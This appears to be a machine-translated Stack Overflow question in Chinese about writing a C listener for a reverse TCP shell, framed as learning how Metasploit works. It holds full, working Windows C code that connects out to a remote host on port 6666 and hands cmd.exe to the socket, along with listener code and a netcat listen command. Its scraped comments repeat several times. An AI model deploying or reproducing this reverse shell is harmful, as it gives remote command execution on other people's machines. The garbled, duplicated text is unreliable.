如何使用C创建netcat类型的侦听器?

如何使用C创建netcat类型的侦听器?,c,linux,sockets,C,Linux,Sockets,我知道可以使用metasploit打开反向tcp连接,但我想编写自己的代码,看看到底发生了什么。我已经达到了自己创建服务器和客户机的程度。客户端(在windows上运行)打开到服务器的连接(在Linux终端上运行) 到目前为止,我已经能够在两者之间建立连接,并且还设法让客户机调用CreateProcess,STARTUPINFO句柄指向套接字连接的位置。问题在于让cmd在Linux终端上运行,就像在Metasploit或netcat上运行一样 客户机没有问题,因为当我使用netcat创建侦听器时

我知道可以使用metasploit打开反向tcp连接,但我想编写自己的代码,看看到底发生了什么。我已经达到了自己创建服务器和客户机的程度。客户端(在windows上运行)打开到服务器的连接(在Linux终端上运行)

到目前为止,我已经能够在两者之间建立连接,并且还设法让客户机调用CreateProcess,STARTUPINFO句柄指向套接字连接的位置。问题在于让cmd在Linux终端上运行,就像在Metasploit或netcat上运行一样

客户机没有问题,因为当我使用netcat创建侦听器时,只要客户机创建连接,cmd就会打开。但是,使用我编写的侦听器(用C语言),它不会打开终端

下面是我正在使用的代码的代码片段

listener.c(在Linux上运行)


您没有看到
C:\
,但我怀疑这是因为它没有换行结束。而
printf
通常是行缓冲的(因此“部分行”位于
stdout
缓冲区中)。您需要在
printf
之后执行
fflush(stdout)
,以确保看到部分行。
-吉尔·汉密尔顿

你没有看到
C:\
,但我怀疑这是因为它没有以换行符结尾。而
printf
通常是行缓冲的(因此“部分行”位于
stdout
缓冲区中)。您需要在
printf
之后执行
fflush(stdout)
,以确保看到部分行。
–Gil Hamilton

您是否获取了netcat的源代码?不,netcat是为linux内置的。当我打开侦听器时,我使用同一个client.cpp连接到netcat。netcat可能在默认linux安装上可用,也可能不可用。所有linux发行版的所有源代码都可供下载。因此,开源。你的问题框架很差。否
netcat
不会“在linux上打开cmd”。它只是将其标准输入和标准输出传递到套接字或从套接字传递出去。看起来您确实在尝试在windows端启动一个
cmd.exe
窗口。如果对
netcat
有效,但对服务器无效,则
WSAConnect
可能挂起或失败。我们无法帮助您诊断,因为(a)您没有告诉我们发生了什么[以及错误代码,如果有],(b)您没有显示服务器的关键部分:侦听套接字上的
bind
。还有一件事。您没有看到
C:\
,但我怀疑这是因为它没有换行。而
printf
通常是行缓冲的(因此“部分行”位于
stdout
缓冲区中)。您需要在
printf
之后执行
fflush(stdout)
,以确保看到部分行。是否获取了
netcat
的源代码?否,netcat是为linux内置的。当我打开侦听器时,我使用相同的client.cpp连接到netcat。虽然netcat在linux的默认安装上可能可用,也可能不可用,但所有linux发行版的所有源代码都可供下载。因此,开源。你的问题框架很差。否
netcat
不会“在linux上打开cmd”。它只是将其标准输入和标准输出传递到套接字或从套接字传递出去。看起来您确实在尝试在windows端启动一个
cmd.exe
窗口。如果对
netcat
有效,但对服务器无效,则
WSAConnect
可能挂起或失败。我们无法帮助您诊断,因为(a)您没有告诉我们发生了什么[以及错误代码,如果有],(b)您没有显示服务器的关键部分:侦听套接字上的
bind
。还有一件事。您没有看到
C:\
,但我怀疑这是因为它没有换行。而
printf
通常是行缓冲的(因此“部分行”位于
stdout
缓冲区中)。您需要在
printf
之后执行
fflush(stdout)
,以确保看到部分行。
// listening on port 6666 for connection from anywhere
// used to accept client socket
int c_sock=-1;
socklen_t themsize=sizeof(struct sockaddr_in);
// store client information here
them=(struct sockaddr_in*)malloc(themsize);
if( ( c_sock=accept(sock, (struct sockaddr*)them, &themsize) )==-1 )
    diep("accept");

printf("connection from %s:%d\n", inet_ntoa(them->sin_addr), htons(them->sin_port));

int bytes_rcvd=0;
char *recv_buf=NULL;

// recv_buf will recv up to 1024 bytes
recv_buf=(char*)malloc(sizeof(char)*BUFLEN);
while( 1 )
{
    bytes_rcvd=recv(c_sock, recv_buf, BUFLEN, 0);
    if( bytes_rcvd<0 )
    {
        break;
    }
    // reaches here
    // print what we received
    // i don't know how to go on from here
    // what commands should i send back to spawn a cmd shell?
    // this is printed by the server
    /*
    Microsoft Windows [Version 10.0.14393]
    (c) 2016 Microsoft Corporation. All rights reserved.  
    */
    // missing is the rest of the cmd where to write commands
    printf("%s", recv_buf);
}

close(sock);
#define WIN32_LEAN_AND_MEAN

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>

#pragma comment (lib, "ws2_32.lib")

int main()
{
    WSADATA wsaData;
    SOCKET si;
    struct sockaddr_in hax;
    char ip_addr[16];
    STARTUPINFO sui;
    PROCESS_INFORMATION pi;

    WSAStartup(MAKEWORD(2, 2), &wsaData);
    si=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

    hax.sin_family=AF_INET;
    hax.sin_port=htons(6666);
    // the x.x.x.x is replaced with the ip I am connecting to
    hax.sin_addr.s_addr=inet_addr("x.x.x.x");

    if( WSAConnect(si, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL)!=0 )
    {
        printf("%d\n", WSAGetLastError());
        getchar();
        exit(-1);
    }

    memset(&sui, 0, sizeof(sui));
    sui.cb=sizeof(sui);
    sui.dwFlags=(STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
    sui.hStdInput=sui.hStdOutput=sui.hStdError=(HANDLE)si;

    char *cmdline="cmd.exe";
    CreateProcess(NULL, cmdline, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);

    getchar();
    return 0;
}
nc -nvlp 6666